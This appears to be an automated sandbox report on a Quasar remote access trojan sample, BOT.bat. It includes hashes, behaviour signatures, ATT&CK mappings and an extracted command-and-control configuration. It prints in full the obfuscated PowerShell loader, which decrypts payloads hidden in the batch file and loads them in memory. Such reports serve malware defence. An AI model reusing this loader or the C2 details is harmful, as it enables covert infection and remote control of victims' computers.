quasar | effb8601e88bcc1b63f104b5c5ba6ee93d3ea3e2cbdff30e77253d9bd7a0d7b7

Analysis

max time kernel
230s
max time network
222s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
04/05/2024, 22:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
BOT.bat
Size 1.8MB
Sample240504-2xkhbaed3t
SHA256 effb8601e88bcc1b63f104b5c5ba6ee93d3ea3e2cbdff30e77253d9bd7a0d7b7
MD5 57d8f753a5a3c55ab7b9b96d84ba1879
SHA1 a849e92f73129e59b0ddbf3f1d6e7dede420a2e1
SHA512 ea931d132de033ef9708556562f40f8a21d1a4ed9536cd7eac3b298c04da96325e9f385943ca4fb7caf05a8b3054a8ab51f7a9f00f92e34600c8ea855acd7353
SSDEEP 24576:6p+uCQSjayBZwLIjFrmOcKpcBHoBz2cRj8hEgeLGQpFtj0BG4UMdC+32VOgUkbLe:64uCh2yBZ7pt5/EBQ4fMDUjww
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar office04 execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

paper-sitemap.gl.at.ply.gg:34451

Mutex

aac5ca78-08ee-466b-b76a-a222e6968dcb

Attributes

encryption_key
C6F8FC1FACDC33647F2C8892E17F3A76138E3780
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Quasar Client Startup
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/3348-15-0x0000028771530000-0x0000028771854000-memory.dmp	family_quasar

Blocklisted process makes network request 5 IoCs

flow	pid	Process
22	3348	powershell.exe
37	3348	powershell.exe
48	3348	powershell.exe
50	3348	powershell.exe
52	3348	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3348	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2408	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3348	powershell.exe
3348	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3348	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3612 wrote to memory of 3348	3612	cmd.exe	87
PID 3612 wrote to memory of 3348	3612	cmd.exe	87
PID 3348 wrote to memory of 4448	3348	powershell.exe	116
PID 3348 wrote to memory of 4448	3348	powershell.exe	116
PID 4448 wrote to memory of 1496	4448	cmd.exe	118
PID 4448 wrote to memory of 1496	4448	cmd.exe	118
PID 4448 wrote to memory of 2408	4448	cmd.exe	119
PID 4448 wrote to memory of 2408	4448	cmd.exe	119

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\BOT.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('P6AI2svWrTsJrt0z8Jcls0TQr6DglPCK/xPBljwB/oM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('K7etdgUf8JDU4BSLN4kWFg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $eKrAq=New-Object System.IO.MemoryStream(,$param_var); $XYGQt=New-Object System.IO.MemoryStream; $aVBxo=New-Object System.IO.Compression.GZipStream($eKrAq, [IO.Compression.CompressionMode]::Decompress); $aVBxo.CopyTo($XYGQt); $aVBxo.Dispose(); $eKrAq.Dispose(); $XYGQt.Dispose(); $XYGQt.ToArray();}function execute_function($param_var,$param2_var){ $kCOYB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RJUaS=$kCOYB.EntryPoint; $RJUaS.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\BOT.bat';$NizOk=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\BOT.bat').Split([Environment]::NewLine);foreach ($Repga in $NizOk) { if ($Repga.StartsWith(':: ')) { $XPeCM=$Repga.Substring(3); break; }}$payloads_var=[string[]]$XPeCM.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Ku1lisWIjO7O.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4448
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:1496
  - - C:\Windows\system32\PING.EXE
      ping -n 10 localhost
      4⤵
      Runs ping.exe
      PID:2408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Ku1lisWIjO7O.bat

Path C:\Users\Admin\AppData\Local\Temp\Ku1lisWIjO7O.bat
Size 220B
SHA256 d5c5eca64427d6a1c048ca4dad291492eaab72e752ca37114717a0f22e63c7b6
MD5 4e9b69832019c40899ec1d9365f82f9e
SHA1 53090900edd2ed10344133a74308434752a481fd
SHA512 a6c3f8a2f523daa57d06da79d0bcb456a6a65c99a1c9212927d96e0d0ff9f7d65280e346c643c535052993364f3ba3c24b30e51d8f4e0bbe7df3745b67bc95e4
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_iqcv5ulf.jsc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iqcv5ulf.jsc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3348-18-0x0000028772290000-0x0000028772342000-memory.dmp

Download

memory/3348-19-0x0000028772520000-0x00000287726E2000-memory.dmp

Download

memory/3348-12-0x00007FFA5EE60000-0x00007FFA5F921000-memory.dmp

Download

memory/3348-13-0x0000028756E50000-0x0000028756E58000-memory.dmp

Download

memory/3348-14-0x0000028771360000-0x00000287714B8000-memory.dmp

Download

memory/3348-15-0x0000028771530000-0x0000028771854000-memory.dmp

Download

memory/3348-16-0x00007FFA5EE60000-0x00007FFA5F921000-memory.dmp

Download

memory/3348-17-0x0000028771E80000-0x0000028771ED0000-memory.dmp

Download

memory/3348-0-0x00007FFA5EE63000-0x00007FFA5EE65000-memory.dmp

Download

memory/3348-11-0x00007FFA5EE60000-0x00007FFA5F921000-memory.dmp

Download

memory/3348-20-0x00007FFA5EE60000-0x00007FFA5F921000-memory.dmp

Download

memory/3348-21-0x00007FFA5EE63000-0x00007FFA5EE65000-memory.dmp

Download

memory/3348-24-0x0000028771E30000-0x0000028771E42000-memory.dmp

Download

memory/3348-25-0x0000028772390000-0x00000287723CC000-memory.dmp

Download

memory/3348-26-0x00007FFA5EE60000-0x00007FFA5F921000-memory.dmp

Download

memory/3348-27-0x00007FFA5EE60000-0x00007FFA5F921000-memory.dmp

Download

memory/3348-2-0x0000028771110000-0x0000028771132000-memory.dmp

Download

memory/3348-34-0x00007FFA5EE60000-0x00007FFA5F921000-memory.dmp

Download